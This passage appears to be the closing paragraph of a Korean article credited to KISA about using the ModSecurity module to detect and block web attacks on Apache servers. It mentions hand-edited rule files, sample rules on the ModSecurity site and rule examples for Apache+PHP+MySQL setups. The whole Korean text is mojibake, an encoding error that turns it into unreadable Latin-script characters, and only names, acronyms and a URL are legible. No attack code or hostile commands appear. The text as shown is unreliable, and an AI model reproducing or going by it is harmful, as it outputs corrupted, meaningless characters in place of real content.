| Áö±Ý±îÁö ModSecurity¸¦ ÀÌ¿ëÇÑ ¾ÆÆÄÄ¡ À¥¼¹öÀÇ ÇØÅ· Â÷´Ü ¹æ¾È¿¡ ´ëÇØ »ìÆ캸¾Ò´Ù. ModSecurity´Â ¾ÆÆÄÄ¡ À¥¼¹öÀÇ ÀÛÀº ¸ðµâÀÌÁö¸¸ ´Ù¾çÇÑ À¥ °ø°Ý¿¡ ´ëÇÑ °·ÂÇÑ Å½Áö ¹× ¹æ¾î ±â´ÉÀ» °¡Áö°í ÀÖ´Ù. ¾Æ½¬¿î Á¡Àº RuleÀÇ ¼³Á¤ÀÌ GUI ÇüÅ·ΠÁ¦°øµÇÁö ¾Ê°í °ü¸®ÀÚ°¡ ÀÏÀÏÀÌ ¼³Á¤ÆÄÀÏ¿¡ Ãß°¡¸¦ ÇØ ÁÖ¾î¾ß ÇÏ´Â ºÒÆíÇÔÀÌ ÀÖ´Ù. ÇÏÁö¸¸ ÀÌ Rule ¼³Á¤µµ ModSecurity ȨÆäÀÌÁö(http://www.modsecurity.org/projects/rules/index.html)¿¡ ¸î °³ÀÇ Rule ¼³Á¤ ¿¹°¡ ÀÖÀ¸¹Ç·Î À̸¦ Âü°íÇÏ¸é ¸¹Àº µµ¿òÀÌ µÉ °ÍÀÌ´Ù. ¸¶Áö¸·À¸·Î º» °í¿¡¼´Â ÀϹÝÀûÀ¸·Î Apache+PHP+MySQL ȯ°æ¿¡ ÀûÇÕÇÑ Rule ¼³Á¤ ¿¹¸¦ ºÎ·Ï¿¡ Á¦°øÇÏ°í ÀÖÀ¸¹Ç·Î À̸¦ ±âº»À¸·Î ÀÚ½ÅÀÇ À¥ ȯ°æ¿¡ ¸Â°Ô Ä¿½ºÆ®¸¶ÀÌ¡ÇÏ¸é µµ¿òÀÌ µÉ °ÍÀ¸·Î »ý°¢µÈ´Ù.
[ÀÚ·á: Çѱ¹Á¤º¸º¸È£ÁøÈï¿ø(KISA)]
|
|